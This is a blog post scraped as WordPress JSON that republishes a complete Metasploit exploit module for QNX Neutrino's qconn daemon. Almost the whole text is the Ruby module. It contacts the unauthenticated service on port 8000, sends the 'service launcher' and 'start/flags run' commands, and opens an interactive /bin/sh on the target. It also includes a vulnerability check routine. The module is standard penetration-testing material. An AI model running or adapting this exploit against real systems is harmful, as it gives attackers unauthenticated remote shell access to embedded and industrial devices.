##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking<\/p>\n
include Msf::Exploit::Remote::Tcp
prepend Msf::Exploit::Remote::AutoCheck<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘QNX qconn Command Execution’,
‘Description’ => %q{
This module uses the qconn daemon on QNX systems to gain a shell.<\/p>\n
The QNX qconn daemon does not require authentication and allows
remote users to execute arbitrary operating system commands.<\/p>\n
This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
and 6.5.0 SP1 (x86).
},
‘License’ => MSF_LICENSE,
‘Author’ => [
‘David Odell’, # Discovery
‘Mor!p3r’, # PoC
‘bcoles’ # Metasploit
],
‘References’ => [
[‘EDB’, ‘21520’],
[‘URL’, ‘https:\/\/www.optiv.com\/blog\/pentesting-qnx-neutrino-rtos’],
[‘URL’, ‘http:\/\/www.qnx.com\/developers\/docs\/6.5.0SP1\/neutrino\/utilities\/q\/qconn.html’],
[‘URL’, ‘http:\/\/www.qnx.com\/developers\/docs\/6.5.0\/topic\/com.qnx.doc.neutrino_utilities\/q\/qconn.html’]],
‘Payload’ => {
‘BadChars’ => ”,
‘DisableNops’ => true,
‘Compat’ => {
‘PayloadType’ => ‘cmd_interact’,
‘ConnectionType’ => ‘find’
}
},
‘DefaultOptions’ => {
‘WfsDelay’ => 10,
‘PAYLOAD’ => ‘cmd\/unix\/interact’
},
‘Platform’ => ‘unix’, # QNX Neutrino
‘Arch’ => ARCH_CMD,
‘Targets’ => [[‘Automatic’, {}]],
‘Privileged’ => false,
‘DisclosureDate’ => ‘2012-09-04’,
‘DefaultTarget’ => 0,
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘Reliability’ => [REPEATABLE_SESSION],
‘SideEffects’ => []}
)
)
register_options(
[
Opt::RPORT(8000),
OptString.new(‘SHELL’, [true, ‘Path to system shell’, ‘\/bin\/sh’])
])
end<\/p>\n
def check
vprint_status(‘Sending check…’)<\/p>\n
connect
res = sock.get_once(-1, 10)<\/p>\n
return CheckCode::Unknown(‘Connection failed’) unless res<\/p>\n
return CheckCode::Safe unless res.include?(‘QCONN’)<\/p>\n
sock.put(“service launcher\\n”)
res = sock.get_once(-1, 10)<\/p>\n
return CheckCode::Safe unless res.to_s.include?(‘OK’)<\/p>\n
fingerprint = Rex::Text.rand_text_alphanumeric(5..10)
sock.put(“start\/flags run \/bin\/echo \/bin\/echo #{fingerprint}\\n”)<\/p>\n
return CheckCode::Safe unless res.to_s.include?(‘OK’)<\/p>\n
Rex.sleep(1)<\/p>\n
res = sock.get_once(-1, 10)<\/p>\n
return CheckCode::Safe unless res.to_s.include?(fingerprint)<\/p>\n
disconnect<\/p>\n
CheckCode::Vulnerable
end<\/p>\n
def exploit
connect
res = sock.get_once(-1, 10)<\/p>\n
fail_with(Failure::Unreachable, ‘Connection failed’) unless res<\/p>\n
fail_with(Failure::UnexpectedReply, ‘Unexpected reply’) unless res.include?(‘QCONN’)<\/p>\n
sock.put(“service launcher\\n”)
res = sock.get_once(-1, 10)<\/p>\n
fail_with(Failure::UnexpectedReply, ‘Unexpected reply’) unless res.to_s.include?(‘OK’)<\/p>\n
print_status(‘Sending payload…’)
sock.put(“start\/flags run #{datastore[‘SHELL’]} -\\n”)<\/p>\n
Rex.sleep(1)<\/p>\n
fail_with(Failure::UnexpectedReply, ‘Shell negotiation failed. Unexpected reply.’) unless negotiate_shell(sock)<\/p>\n
print_good(‘Payload sent successfully’)<\/p>\n
handler
end<\/p>\n
def negotiate_shell(sock)
Timeout.timeout(15) do
loop do
data = sock.get_once(-1, 10)<\/p>\n
return if data.blank?<\/p>\n
if data.include?(‘#’) || data.include?(‘No controlling tty’)
return true
end<\/p>\n
Rex.sleep(0.5)
end
end
rescue ::Timeout::Error
return nil
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::Tcpprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,‘Name’ => ‘QNX qconn Command Execution’,‘Description’ => %q{This module uses the qconn daemon on QNX systems to gain a shell. The QNX qconn daemon does not require authentication and allowsremote users to execute arbitrary …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59721","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59721","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59721"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59721\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59721"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59721"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59721"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}